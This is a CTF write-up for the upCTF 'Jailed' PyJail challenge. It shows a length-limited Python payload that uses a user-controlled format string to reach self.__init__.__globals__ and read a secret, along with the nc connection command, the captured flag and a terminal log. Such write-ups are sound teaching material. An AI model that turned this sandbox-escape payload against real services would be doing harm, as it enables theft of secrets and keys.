

upCTF – Jailed Challenge Write-up

Challenge: **Jailed**

Category: Python PyJail / Format String

Goal: Escape the restricted Python environment and print the flag.

Challenge Overview

The service evaluates user input inside a restricted Python environment. It blocks builtin names, limits input length to 66 characters, and removes builtins from the evaluation context. However, after evaluation the program prints a value using Python string formatting, which becomes the main vulnerability.

Vulnerability

The program executes `friend.format(self=self)`. If we control the variable `friend`, we can craft a format string that accesses attributes of `self`. This allows traversal to `self.__init__.__globals__`, which contains the module's global variables including the flag.

Exploit Payload

```
(friend:='{self.__init__.'+('__glo'+'bals__')+ '[API_KEY]}')
```

Exploit Steps

1. Connect to the challenge server:
`nc 46.225.117.62 30025`
2. Send the payload above.
3. The payload sets 'friend' to a format string that resolves:
`self.__init__.__globals__['API_KEY']`
4. That variable contains the flag, which gets printed.

Flag

```
upCTF{fmt_string5_4r3nt_0nly_a_C_th1ng-PkBFP8Be03cc92d4}
```

Key Takeaways

Python format strings can be abused to access object attributes and internal data. Using `eval` with partial restrictions is unsafe, especially when combined with user-controlled format strings.

Exploit Screenshot

```
(base) └─(kali@kali)-[~/Desktop/upctf/jailed]  
└─$ nc 46.225.117.62 30025  
(friend:='{self.__init__.'+('__glo'+'bals__')+'[API_KEY]}')  
upCTF{fmt_string5_4r3nt_0nly_a_C_th1ng-PkBFp8Be03cc92d4}
```